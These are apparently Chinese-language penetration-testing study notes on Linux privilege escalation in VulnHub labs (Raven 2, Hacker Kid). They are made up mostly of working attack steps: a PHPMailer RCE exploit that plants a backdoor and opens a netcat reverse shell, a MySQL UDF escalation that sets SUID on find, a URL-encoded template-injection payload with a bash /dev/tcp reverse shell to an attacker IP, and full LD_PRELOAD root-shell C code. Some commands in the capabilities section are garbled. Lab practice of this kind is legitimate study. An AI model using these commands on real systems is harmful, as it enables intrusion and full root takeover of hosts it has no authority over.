Linux系统提权 - Web用户-数据库类型
靶机演示:Raven 2
环境复现:https://www.vulnhub.com/entry/raven-2,269/
kali:192.168.1.8
nmap+mac得到:192.168.1.10
apache 2.4 从readme.php获得 phpmailer 5.2 数据库:mysql
CMS:wordpress 4.8.7 phpmailer 5.2.16
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
然后用msconsole搜索PHPMailer,有两个利用方式,用了都不行
用kali自带的searchsploit
命令:
searchsploit phpmailer

然后 searchsploit -m 40974.py 将要用的脚本拷贝到当前目录
然后vi编辑 40974.py 在文件头加上
#!/usr/bin/python --->告诉操作系统 "用哪个程序来运行这个脚本"
#-- coding: utf-8 -- --->声明源文件编码
存在漏洞的网页是为什么在contact.php里(疑点?)
phpmailer 是用来处理邮件发送的,这个网站只有在联系我们页面有类似功能

问题二:为什么用40974.py他一个,其他不行吗
解答:
1.我们要拿权限,要远程代码执行,其他几个什么文件例如
**40986.py:**该 EXP 针对 PHPMailer + SwiftMailer + Zend Framework 的组合场景,但 Raven 靶机 仅独立部署 PHPMailer
**42221.py :**邮件传输代理(MTA)不匹配
**43056.py :**该 EXP 是 本地文件泄露漏洞 (只能读取服务器文件,如 /etc/passwd、代码源文件),但渗透测试的核心目标是RCE 权限(控制靶机)。即使成功利用,也无法直接拿到 shell,因此实际渗透中优先级极低。
2.kali默认为python环境,php执行需要下载其他包

运行这个攻击文件会自动在网站根目录下面生成一个后门文件icepeak.php

然后:python3 40974.py
监听端口 nc -lvvp 4444
url访问http://192.168.1.10/icepeak.php 访问后门文件就会触发反弹shell
再进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
find / -name flag* 发现两个
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png --->url 访问(注意没有整个的路径,我们要从wordpress开始:wordpress/wp-content/uploads/2018/11/flag3.png) /var/www/flag2.txt


ls 后 cd 到wordpress再次ls
注意数据库配置文件一般在config.php下面,cat后找到账户和密码

进入数据库,查看
- secure_file_priv配置宽松:若该参数设置为空或指定可写目录,允许导出文件
- SHOW VARIABLES LIKE 'secure_file_priv';

来到users表得到两个用户和密码R@v3nSecurity

数据库版本 5.5.6
UDF提权
searchsploit mysql udf

searchsploit -m 1518.c
然后进行编译:gcc -g -c 1518.c 再 gcc -g -shared -o 1518.so 1518.o -lc

攻击机使用python的http模块开启服务(临时开一个网站),让目标机去下载这个编译好的文件

然后有shell的命令框进入tmp目录,下载exp文件
wget http://192.168.1.8:8000/1518.so
use mysql; #进入数据库
create table foo(line blob); #创建数据表foo
insert into foo values(load_file('/tmp/icepeak.so')); #插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so';#Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出新建存储函数
create function do_system returns integer soname '1518.so';
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令)
quit 退出mysql,使用/usr/bin/find提权

Linux系统提权-Web&用户-Capability能力
原理参考:<https://www.cnblogs.com/f-carey/p/16026088.html>
c[p](<https://www.cnblogs.com/f-carey/p/16026088.htmlcp>) /usr/bin/php /tmp/php
设置能力:setcapcap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r /2>/dev/null
环境复现
https://www.vulnhub.com/entry/hacker-kid-101,719/
复现步骤
前面web入口比较复杂,这里跳过,主要看提权
来到入口点,通过账号密码登陆到后台:
账号:saket 密码:Saket!#$%@!!

登录后用模版注入反弹shell,访问如下网址触发反弹Shell命令
<http://192.168.139.141:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E0%2E129%2F8888+0%3E%261%22%27%29%7D%7D>

#在kali上用python起一个网站服务,用wget命令在shell下载
攻击机的inject.py文件,然后执行for....命令
/sbin/getcap-r /2>/dev/null
python -m http.server 8080
wget <http://192.168.139.141:8080/inject.py>
#写了个循环,保证每一个进程都能注入一遍
for i in 'ps -eflgrep rootlgrep -v "grep"lawk '(print $2y''; do
python2.7 inject.py $i; done
nc 192.168.139.156 5600
结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用
如下图为没注入和注入后nc命令执行的情况

Linux系统提权-普通用户-LD_Prelpad加载
这个就类似于Windows中的DLL劫持,只不过在Linux中是.so文件,在Windows中是.dll文件
提权原理:在一个应用程序运行时会加载一些固定的动态链接库,也就是so文件,一旦设置了LD_Preload,就可以用这个LD_Preload在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。
使用条件
在/etc/sudoers文件中:设置Defaults env_keep += LD_PRELOAD选项
参考:<https://www.cnblogs.com/backlion/p/10503985.html>
Default senv_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
gcc -fPIC -shared -o [shell.so](<http://shell.so/>) shell.c -nostartfiles
ls -al [shell.so](<http://shell.so/>)
#让find在执行的时候绑定这个so文件
sudo LD_PRELOAD=/tmp/shell.so find
whoami
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
sudoLD_PRELOAD=/tmp/shell.sO /tmp/LinEnum.sh
结论:sudo提权有限制,但是一旦设置了LDPRELOAD,那么只要有程序既可提权

#随便vim一个文件,保存文件名为shell.c,文件内容如下
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
编译该文件为shell.so文件:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
然后运行find命令,并且在运行时预加载shell.so文件:
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
